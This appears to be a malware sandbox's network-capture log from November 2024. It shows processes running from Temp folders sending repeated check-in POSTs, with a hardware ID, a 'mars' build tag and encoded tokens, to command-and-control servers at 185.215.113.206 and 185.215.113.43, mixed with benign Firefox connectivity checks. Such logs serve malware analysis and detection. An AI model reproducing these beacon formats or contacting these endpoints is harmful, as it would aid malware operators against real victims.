Nov 18, 2024 21:05:02.492966890 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50105	185.215.113.206	80	2004	C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:01.692377090 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 21:05:02.631144047 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:05:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 21:05:02.711010933 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIECFIJDAAKEBGCGHIE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 43 46 49 4a 44 41 41 4b 45 42 47 43 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 42 39 35 44 38 45 46 39 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 46 49 4a 44 41 41 4b 45 42 47 43 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 46 49 4a 44 41 41 4b 45 42 47 43 47 48 49 45 2d 2d 0d 0a Data Ascii: ------CFIECFIJDAAKEBGCGHIEContent-Disposition: form-data; name="hwid"3DB95D8EF9C93740105281------CFIECFIJDAAKEBGCGHIEContent-Disposition: form-data; name="build"mars------CFIECFIJDAAKEBGCGHIE--
Nov 18, 2024 21:05:02.999497890 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:05:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50108	34.107.221.82	80	7072	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:01.795494080 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:02.407707930 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49367 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:02.612121105 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:02.740418911 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49367 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50118	34.107.221.82	80	7072	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:02.462486029 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50121	34.107.221.82	80	7072	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:02.782078028 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:05:03.393944979 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48365 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:05:03.607836962 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48365 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:05:04.070118904 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:05:04.197566032 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48366 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:05:04.493987083 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48366 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:05:04.631769896 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:05:04.759072065 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48366 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:05:04.861324072 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:05:04.988065004 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48366 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:05:05.207894087 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48366 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:05:05.272686005 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:05:05.400460958 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48367 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:05:05.940025091 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:05:06.067682028 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48368 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:05:09.208250999 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:05:09.340310097 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48371 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:05:19.423356056 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:05:29.529459000 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50122	34.107.221.82	80	7072	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:03.454830885 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:04.066720009 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49369 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:04.301429033 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:04.614877939 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49369 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:04.727125883 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:04.854641914 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49369 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:05.135185957 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:05.263061047 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49370 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:05.807138920 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:05.935488939 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49370 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:09.074433088 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:05:09.202903032 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49374 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:05:19.220355034 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 21:05:29.328895092 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50129	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:04.057059050 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:05:04.977976084 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50148	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:06.623215914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:05:07.527264118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50150	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:09.051954985 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:05:09.967387915 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50152	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:11.603777885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:05:12.506057978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50155	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:14.021608114 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:05:14.934353113 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50158	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:16.572228909 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:05:17.494045019 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50162	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:19.012732983 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:05:19.926065922 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:05:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50168	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:21.615566969 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
